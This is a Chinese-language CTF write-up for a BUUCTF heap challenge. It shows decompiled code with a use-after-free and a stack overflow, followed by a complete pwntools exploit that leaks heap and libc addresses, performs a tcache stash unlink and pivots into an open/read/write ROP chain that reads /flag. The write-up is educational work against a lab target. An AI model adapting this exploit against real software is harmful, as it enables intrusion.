hongbao

b4nd1t

buuctf [2020 新春红包题]3

保护检查

1681355293407

源码分析

mian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
char v3[268]; // [rsp+0h] [rbp-110h] BYREF
int v4; // [rsp+10Ch] [rbp-4h]

v4 = 0;
sub_11D5(a1, a2, a3);
sub_1450();
sub_1269();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v4 = sub_14CF();
if ( v4 != 3 )
break;
edit(v3);
}
if ( v4 > 3 )
break;
if ( v4 == 1 )
{
if ( qword_4018 <= 0 )
quit();
add(v3);
--qword_4018;
}
else
{
if ( v4 != 2 )
goto LABEL_19;
delete(v3);
}
}
if ( v4 == 5 )
quit();
if ( v4 < 5 )
{
show(v3);
}
else
{
if ( v4 != 666 )
LABEL_19:
quit();
vuln();
}
}
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
int __fastcall add(__int64 a1)
{
int v2; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
unsigned int v4; // [rsp+18h] [rbp-18h]
int v5; // [rsp+1Ch] [rbp-14h]

printf("Please input the red packet idx: ");
v4 = sub_14CF();
if ( v4 > 0x10 )
quit();
printf("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ");
v3 = sub_14CF();
if ( v3 == 2 )
{
v5 = 240;
}
else if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = 768;
}
else
{
if ( v3 != 4 )
goto LABEL_14;
v5 = 1024;
}
}
else
{
if ( v3 != 1 )
{
LABEL_14:
v5 = 0;
goto LABEL_15;
}
v5 = 16;
}
LABEL_15:
if ( v5 != 16 && v5 != 240 && v5 != 768 && v5 != 1024 )
quit();
*(_QWORD *)(16LL * v4 + a1) = calloc(1uLL, v5);
*(_DWORD *)(a1 + 16LL * v4 + 8) = v5;
printf("Please input content: ");
v2 = read(0, *(void **)(16LL * v4 + a1), *(int *)(16LL * v4 + a1 + 8));
if ( v2 <= 0 )
quit();
*(_BYTE *)(v2 - 1LL + *(_QWORD *)(16LL * v4 + a1)) = 0;
return puts("Done!");
}

delete

1
2
3
4
5
6
7
8
9
10
11
int __fastcall delete(__int64 a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-4h]

printf("Please input the red packet idx: ");
v2 = sub_14CF();
if ( v2 > 0x10 || !*(_QWORD *)(16LL * v2 + a1) )
quit();
free(*(void **)(16LL * v2 + a1));
return puts("Done!");
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall sub_1740(__int64 a1)
{
int v2; // [rsp+18h] [rbp-8h]
unsigned int v3; // [rsp+1Ch] [rbp-4h]

if ( qword_4010 <= 0 )
quit();
--qword_4010;
printf("Please input the red packet idx: ");
v3 = sub_14CF();
if ( v3 > 0x10 || !*(_QWORD *)(16LL * v3 + a1) )
quit();
printf("Please input content: ");
v2 = read(0, *(void **)(16LL * v3 + a1), *(int *)(16LL * v3 + a1 + 8));
if ( v2 <= 0 )
quit();
*(_BYTE *)(v2 - 1LL + *(_QWORD *)(16LL * v3 + a1)) = 0;
return puts("Done!");
}

show

1
2
3
4
5
6
7
8
9
10
11
int __fastcall sub_184E(__int64 a1)
{
unsigned int v2; // [rsp+1Ch] [rbp-4h]

printf("Please input the red packet idx: ");
v2 = sub_14CF();
if ( v2 > 0x10 || !*(_QWORD *)(16LL * v2 + a1) )
quit();
puts(*(const char **)(16LL * v2 + a1));
return puts("Done!");
}

vuln

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t vuln()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

if ( *(__int64 *)(qword_4058 + 2048) <= 0x7F0000000000LL
|| *(_QWORD *)(qword_4058 + 2040)
|| *(_QWORD *)(qword_4058 + 2056) )
{
quit();
}
puts("You get red packet!");
printf("What do you want to say?");
return read(0, buf, 0x90uLL);
}

程序限制了execve的使用,在delete中堆块free后并没有进行置零,所以存在uaf,然后没有canary。本体利用tcache stash unlink和栈劫持可以拿到flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context(os='linux',arch='amd64')
#p = process("./buu")
p = remote('node4.buuoj.cn',27621)
libc = ELF("libc-2.29.so")

def debug():
gdb.attach(p)
def add(index,choice,content):
p.sendlineafter("Your input: ","1")
p.sendlineafter("Please input the red packet idx: ",str(index))
p.sendlineafter("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ",str(choice))
p.sendlineafter("Please input content: ",content)
def delete(index):
p.sendlineafter("Your input: ","2")
p.sendlineafter("Please input the red packet idx: ",str(index))
def edit(index,content):
p.sendlineafter("Your input: ","3")
p.sendlineafter("Please input the red packet idx: ",str(index))
p.sendlineafter("Please input content: ",content)
def show(index):
p.sendlineafter("Your input: ","4")
p.sendlineafter("Please input the red packet idx: ",str(index))
for i in range(7):
add(0,4,"aaa")
delete(0)
for i in range(6):
add(1,2,"bbb")
delete(1)
show(0)
heap_base = u64(p.recvuntil("\x0a")[:-1].ljust(8,"\x00")) - 0x26c0
print(hex(heap_base))
add(2,4,"aaa")
add(3,3,"aaa")
delete(2)
show(2)
libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
print(hex(libcbase))
add(3,3,"aaa")
add(3,3,"aaa")
add(4,4,"aaa")
add(5,3,"aaa")
delete(4)
add(5,3,"aaa")
add(5,3,"aaa")
payload = 'a'*0x300 + p64(0) + p64(0x101) + p64(heap_base + 0x37e0) + p64(heap_base + 0x250 + 0x10 + 0x800 - 0x10)
edit(4,payload)
pop_rdi_ret = libcbase + 0x0000000000026542
pop_rsi_ret = libcbase + 0x0000000000026f9e
pop_rdx_ret = libcbase + 0x000000000012bda6
leave_ret = libcbase + 0x0000000000058373
ret = libcbase + 0x000000000002535f
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
file_addr = heap_base + 0x4940
payload = "/flag\x00\x00\x00" + p64(ret) + p64(pop_rdi_ret) + p64(file_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(file_addr + 0x200) + p64(pop_rdx_ret) + p64(0x40) + p64(read_addr)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(file_addr + 0x200) + p64(pop_rdx_ret) + p64(0x40) + p64(write_addr)
add(5,2,"aaa")
add(4,4,payload)
p.recv()
p.sendline("666")
p.recv()
payload = 'a'*0x80 + p64(file_addr) + p64(leave_ret)
p.sendline(payload)
#debug()
p.interactive()

1681355745869

参考博客

http://t.csdn.cn/8ixXO